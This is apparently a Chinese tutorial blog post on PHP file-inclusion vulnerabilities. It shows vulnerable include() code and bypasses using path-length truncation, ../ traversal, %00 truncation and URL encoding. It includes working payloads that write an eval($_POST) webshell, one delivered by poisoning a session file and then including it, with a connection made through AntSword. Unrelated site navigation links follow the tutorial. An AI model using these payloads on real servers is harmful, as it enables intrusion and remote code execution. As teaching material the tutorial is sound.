任意文件包含漏洞(2)
目录
- windows系统
- 1.路径长度绕过
- 简介
- 2. ../绕过
- 2.5 ./
- 3. %00截断
- 简介
- 使用条件
- 操作
- 4.session 文件
- 使用条件
- 操作
- 5.错误日志
- 编码绕过
- linux系统
- 路径长度绕过
- 错误日志
- 1.路径长度绕过
- 简介
- 2. ../绕过
- 2.5 ./
- 3. %00截断
- 简介
- 使用条件
- 操作
- 4.session 文件
- 使用条件
- 操作
- 5.错误日志
- 编码绕过
- 路径长度绕过
- 错误日志
windows系统
1.路径长度绕过
wj.php
<?php
$a=@$_GET['123'];
include($a.'.html');
?>
如果限制了文件类型,比如这里只能包含html后缀的文件,那么就可以使用此方法
简介
操作系统存在最大路径长度的限制。windows系统,文件名最长256个字符
,可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名被中途截断
在文件后面加.
如:
info.php...........................................................................................................................................................................................................................................................................................html
.
超过256个就行,后面多出来的...........................................html
不会被识别到
info.php
<?php
phpinfo();
?>
2. …/绕过
有时候会限制文件包含的路径,比如当前路径
./
当前目录
../
上级目录
/
根目录
<?php
$a=@$_GET['123'];
include('./'.$a.'.php');
?>
如果说路径长度绕过是为了干掉a后面的'php',那么../就是为了干掉a前面的'./'
2.5 ./
./
之所以放在2.5的位置
是因为他放的位置不同,作用也不同
如 info.php./././././././……././././././html
则和1 .
的作用一样,绕过后缀
如果是./info.php
则后2../
的作用一样,绕过路径(尽管./
表示当前路径,默认就是表示包含当前路径的文件,所以加不加都无所谓)
3. %00截断
简介
%00被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。 攻击者可以利用这个漏洞绕过扩展名过滤
和00截断有同样效果的还有:?
、 #
(#必须写成%23)
使用条件
(1) magic_quotes_gpc=off (2) PHP<5.3.4
详见此文 https://blog.csdn.net/weixin_45663905/article/details/107559653
操作
scshell.php
<?php fputs(fopen('data.php','w'),'<?php eval($_POST[123])?>');?>
生成了data.php文件
接下来使用蚁剑连接,就不多说了
4.session 文件
使用条件
session文件的内容可控的,而且session文件的保存目录已知,或者保存在默认目录,管理员没有改
可以通过phpinfo()来查找session的路径
操作
sess.php
<?php
session_start();
$ctfs=$_GET['se'];
$_SESSION["username"]=$ctfs;
?>
1.在url里面上输入想加入session的内容
http://127.0.0.1/cy/sess.php?se=<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?>
使用F12,点存储,按cookie,看session
这里4d14ba13dfd1e23c0476a8a887ca5602就是此session的文件名 但是默认有个sess前缀,即应该为sess_4d14ba13dfd1e23c0476a8a887ca5602
查看该session文件
http://127.0.0.1/cy/wj.php?123=../../tmp/tmp/sess_4d14ba13dfd1e23c0476a8a887ca5602%00
发现没什么显示
此时上帝视角,进入tmp目录,发现了sess文件已经写进脚本 啥?你说为啥能访问www目录之外的tmp文件。 php是一门语言,它能访问的不仅仅只是web程序,利用文件里的函数,web程序之外的文件自然也能访问
而且在sess.php同目录下,已经生成了一个data2.php文件,
通过蚁剑连接data2.php文件
5.错误日志
见https://blog.csdn.net/weixin_45663905/article/details/108148898
编码绕过
这不算一种独立的绕过方式,
如果在使用上面的方法里,看到过滤了/
,.
,可以使用url编码绕过
/ %2f
. %2e
但是在进行编码的时候,发现.
编码后还是.
,而%2e
解码后却成了.
,不知道是啥原因
嗯学完这个知识点就去看url编码
linux系统
路径长度绕过
linux系统,文件名最长4096个字符(浏览器最多只能输入300多个字符,所以需要抓包)
前面加././././…………xx.php
错误日志
ssh连接失败,会保存到日志
……
- 数据库文件的迁移
- excel文件内容导入数据库的问题及解决(20天)
- 10g,11g数据泵的导入问题及解决(19天)
- ORACLE 11g导入9i dump的问题及解决
- 服务器增加内存后无法重启数据库的问题及解决 (36天)
- 分区表放入keep pool,recycle pool的问题及解析(34天)
- 临时表空间故障处理 (33天)
- 关于物化视图疑问(32天)
- ORACLE 10g 升级 11g问题汇总(31天)
- 数据库11g升级中一次奇怪的问题 (30天)
- 10g升级至11g需要考虑的参数优化(29天)
- 关于oracle invalid components问题的解决(28天)
- 11g升级性能问题之一 重建user_synonyms (笔记27天)
- 数据库shutdown之后无法启动的问题 (46天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- [Oracle 11g RAC安装]Oracle安装
- [Oracle 11g RAC安装]UDEV设置
- Oracle参数(Undo_Retention)
- Oracle基本概念(Undo空间)
- [AWR报告]Buffer Hit %
- [AWR报告]Library Hit %
- [Oracle 9i安装]Redhat 4.8的配置
- [Oracle 9i安装]Oracle软件的安装
- [AWR报告]Latch Hit %
- [Python运维]Python3.6的安装
- [Python运维]cx_Oracle模块的安装
- C#中抽象类与抽象方法的作用与实例
- C++ 基础扫盲(1)
- [Python运维]使用cx_Oracle连接Oracle(高级篇)
- [Python运维]使用Python发送邮件